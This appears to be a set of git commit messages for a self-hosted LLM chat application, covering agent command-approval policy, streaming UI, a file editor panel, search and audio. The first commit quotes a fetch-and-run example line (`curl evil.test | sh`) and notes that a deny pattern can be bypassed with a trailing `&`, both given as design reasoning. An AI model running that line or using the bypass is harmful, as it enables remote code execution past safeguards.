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 Jaroslav Beneš
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A reply you can read while it is still being written
Seven things, and the thread running through them is that the machinery was right and what a person saw of it was not. Auto asked about every compound command. `policy.subject` refuses to let any pattern match a line carrying a shell metacharacter -- correct, and the whole reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule on top of that asked whenever a deny list existed at all. The shipped deny list is non-empty, so `cd build && make` and `pytest | tail` both stopped for approval in the one mode whose purpose is not stopping. Nobody read that as a security control; they read it as Auto not working. It is gone, and what it costs is written down beside it and under the admin field: a deny pattern can be walked past with a trailing `&`. Matching each segment would restore both. A forty-round agent reply rendered as three zones -- all the thinking, then every tool block, then all the prose -- which is fine at two rounds and unreadable at forty. `Message.steps_json` is a table of contents over the three stores rather than a fourth copy of any of them, so `build_messages`, compaction and titling still see one string. No marks means the old layout, which is what every existing row reads back, with no version flag and no branch in the template. Nothing could be expanded while a reply streamed, and that was two faults. The tool list was replaced wholesale twelve times a second, so an opened block shut itself within 80ms; the ids are stable now and steps.js puts them back, across the final swap as well. And the thread snapped to the bottom on every frame, so a block that did open was scrolled off -- opening one now stops it following until you scroll back down yourself. Both driven under a DOM stub before committing, per the note in CLAUDE.md. The metrics were never wrong, which is why this looked like arithmetic and was not. One chip is what the reply cost and the other is what the conversation occupies; on a multi-round reply those differ by a lot and neither said which it was. What was broken is that they stood still -- usage arrives once a round, and `reported or estimated` stops consulting the estimate the moment the first chunk lands -- and that the `~` marking an estimate vanished at exactly the point everything became one. Interpolated between counts now, never over them. Background jobs had no surface at all. A chip counting what is still running and a panel with each job's command, state, log tail and a Stop button; the fifth exception to "the modes govern the model, not the interface", for the reason the other four are. file_edit had two faults worth more than the error text. A file it could not read was reported to the model as an empty one, and a file too large to read whole was patched and written back by a call that replaces -- deleting everything past the ceiling, silently, and reporting success with a byte count. Both refused now. A refused hunk also prints the file around where it landed, which is most of the retry loop these models get into. And a model can talk itself to a standstill: a round with no tool calls is a model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..." ended the reply having done nothing. `core.commit` is the prompt half and a second nudge signal is the other, narrowed to a long reply that touched nothing so that finishing is never argued with. Also: the scope menu is called Toggle and no longer offers to type an `@` for you, and "Always allow this" says when it has stored nothing rather than appearing to work. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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Files, open beside the conversation
A third side panel, built the way the terminal is and filled the way the inspector is: tabs holding open files. Project files over SFTP in an agent chat; notes, skills, knowledge documents, this chat's text attachments and its own scratch document everywhere. Read with pygments, edited in a plain textarea, saved with a conflict check. A bug found on the way in, and the reason this needed its own read path. `ssh.read_file` ends in `clean_output`, which strips ANSI escapes and decodes with errors="replace" -- right for the output of a command, and fatal for an editor: open a file containing an escape byte, press Save, and you have silently rewritten it with the escapes gone and every undecodable byte replaced by U+FFFD. `read_text`/`write_text` decode strictly, report binary rather than mangling it, carry an mtime:size token for a file that moved underneath, and refuse an oversize write rather than truncating -- `write_file` truncates because a model is told how many bytes it wrote, and somebody pressing Save is not. The model-facing pair is untouched: what it returns is a contract a model has been shown. A truncated read opens read-only for the mirror-image reason. Six sources go through one dispatch table, for the reason tool_labels.py is a table: six independently written permission checks is how one ends up written slightly differently, and that failure looks like editing somebody else's note. A save on a project file bypasses agent/policy.py, which makes it the fourth documented exception to "the modes do not govern the keyboard" and the first that writes. Same argument as the terminal panel -- whoever owns the credential could write the file with scp -- but the consequence is larger and is now said out loud rather than left to be inferred. The model opens tabs from the file tools it was already calling, so no new schema and no tokens. It never brings one to the front: an agent reads forty files in a long reply, and taking the screen each time would drag somebody through all of them and lose any edit in progress. Only the strip is streamed, guarded on truthiness so the frame can never blank itself -- an empty one would close every open tab, the approval card you could press twice with the sign reversed. Both halves are settled on the server, which is why canvas.js needs no guard against a swap at all. No vendored editor. CodeMirror 6 needs a bundler, which is hard rule 1; CodeMirror 5 would be a larger payload than xterm on every page, and xterm is the one heavy dependency precisely because it loads only where it can be used. So: server-rendered highlighting for reading, a textarea for writing, and the panel says there is no colour while you type rather than pretending. Also here: a scratch document per chat, with `scratch_write` at RISK_READ on plan_update's argument, and a test pinning the three numbers that decide a panel's width -- LAYOUT_BOUNDS drops an unknown variable silently, so a panel missing from it has a drag handle that works and forgets. Driven under a DOM stub and against the running application. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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The menu that never appeared, and the reason it never did
composer.js built its menu lazily inside show(), and refresh() wrote list.innerHTML before calling it. `list` is null until build() has run, so the first `/` or `@` ever typed threw a TypeError and took the handler with it. The menu has never appeared in any browser. That is why /compact "isn't there": nothing was. I shipped it having only run `node --check`, which parses the file happily. So this also brings the thing that catches it: a DOM stub driven under node -- not committed, hard rule 1 stands, it is an instrument like curl. It reproduced the crash in one run and immediately found two more: choosing a command from the menu left `/help` sitting in the box so the next Enter ran it again, and Tab completed nothing. Tab now completes and Enter runs, which is the split that matters for a command taking an argument. `.select--sm` was used three times and defined nowhere. I deleted the copy in chat.css and left a comment saying it "is defined once, in app.css", where it did not exist -- so those selects fell back to plain `.select`: width 100% in a flex row where four siblings wanted the same, all of them shrinking together until each was a few characters wide, and half a rem taller than everything beside them. That was the whole of "the connection switch needs to be wider". The connection and directory move to the topbar. They cannot change -- update_chat refuses both with a 409 -- so they are facts about the chat, of a kind with the Temporary badge, not controls on the message. The mode stays by the box. Compaction says it is working. It makes a model call that takes seconds and had no indicator anywhere: `hx-indicator` appears nowhere in this codebase, and the Generation.status channel that says "Summarising earlier messages…" for the automatic path cannot be borrowed, because it lives in the streaming bubble and this endpoint refuses to run while any message is unfinished. The overflow menu now runs the same code as /compact rather than posting for itself, so there is one implementation, one spinner, and one place the endpoint's four carefully written 409s finally reach somebody. /effort, low medium high, per chat with a per-model default. It goes out twice because there is no field that works everywhere: OpenAI and vLLM read reasoning_effort, llama.cpp's own docs say other values "have no effect" and its maintainer says the field "simply gets dropped without error or logging" -- what reaches gpt-oss behind it is chat_template_kwargs. Both are sent, and only once an effort has been chosen, so a provider strict about unknown parameters sees exactly the request it always did until somebody opts in. The control appears only on a model marked `reasoning`, a flag that has existed since the beginning with no reader at all. Mentions and recognised commands are marked as you type -- a mirror behind the textarea holding the same text with every character transparent, contributing nothing but a rounded rectangle, so a pixel of drift is a misplaced rectangle rather than a doubled glyph. A command is marked only when it resolves, so `/thoughts on this` visibly is not one before you send it. And again in the transcript, where user turns had no render step at all and now escape before they inject. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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PWA, one send/stop button, audio in and out, web search as a tool
Four pieces of work.
**Installable.** A manifest carrying the instance name, PWA icons rasterised
from the existing mark at design time, a service worker and a themed offline
page. The worker caches the shell only and bails out on /api/, /auth/, /admin/
and anything accepting text/event-stream -- passing a reply stream through a
worker turns it into one delivery at the end, or nothing. It is served from
GET /sw.js rather than the static mount because a worker's scope is the path it
came from.
**Send and Stop are one button.** They were two, and the hidden one was never
hidden: `.btn` is display: inline-flex, which outranks the browser's own
`[hidden] { display: none }`, so Stop sat permanently beside Send. app.css now
forces the attribute to win -- every control toggled with `hidden` depended on
that -- and the composer renders one button carrying both icons, with ui.js
flipping data-composer-action and the type with it.
**Audio.** Speech to text and text to speech against any OpenAI-shaped
/v1/audio/* endpoint: dictate into the composer, have a reply read out.
Instance settings in Admin, per-reader overrides in Settings, with the voice
list discovered from the server where it offers one. Recorded audio is capped
and never written to disk -- it is not an attachment, it has no owner, and
nothing would ever sweep it.
**Web search, as a tool.** This is the tool loop PLAN.md described as the real
work: one reply is now a bounded sequence of requests rather than one. The model
asks, the tool runs, the result goes back and it is asked again, up to three
rounds. Providers are DuckDuckGo (no setup), SearXNG and Firecrawl.
Two decisions worth stating. Tools are only offered to models flagged `tools`,
because an endpoint without support rejects the whole request rather than
ignoring the array -- the same reason images only reach models flagged
`vision`. And tool results are not replayed as context on the next turn, for the
same reasons reasoning is not: the answer already contains what the model made
of them, and replaying stale results into every later request wastes the window
and reliably sends a small model into a search loop. The sources stay visible in
the transcript instead.
Search results are untrusted third-party text and are treated as such: escaped,
and only http/https URLs rendered as links.
338 tests, ruff clean.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
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Jaroslav Beneš
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Working chat: auth, connections, streaming, folders
LLeMbas now runs end to end. Register, add an OpenAI-compatible connection, and hold a real streaming conversation organised into folders. Verified against the local llama-swap instance. Streaming is the one genuinely tricky part. Sending a message returns two HTML fragments -- the user bubble and an empty assistant bubble carrying an sse-connect -- and that attribute is the ONLY thing that starts a generation. Rendering an incomplete assistant message as a streaming shell falls out of the same template, which means loading a page whose last reply never finished simply picks it up again. Details worth knowing about, each commented where it matters: - SSE payloads are split across several data: lines. A raw newline in one data: line truncates the event, which shows up the first time a model emits a code block. - Markdown is rendered server-side by the same helper for both the page and the final streamed frame, so the two cannot disagree. The fence renderer is replaced outright rather than using markdown-it's highlight option, which re-wraps output in a second <pre>. - escape_text is html.escape, not nh3.clean_text: it escapes character by character, so escaping stream chunks separately equals escaping the whole string. - The stream opens its own session via session_scope(); it outlives the request handler and the dependency-scoped session may be closed. - Deleting a folder keeps the chats inside it (FK is SET NULL). Losing a conversation to a mis-clicked folder delete is unforgivable. - Login failures use one message for "no such account" and "wrong password" so the form cannot enumerate registered addresses. Also adds deploy/ for the gamebox install at https://chat.lan: system unit, nginx vhost with buffering off (buffering on turns streaming into one lump at the end), and install/update scripts following the same service-user and /srv bind-mount conventions as llama-swap and comfyui. 70 tests, ruff clean. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> |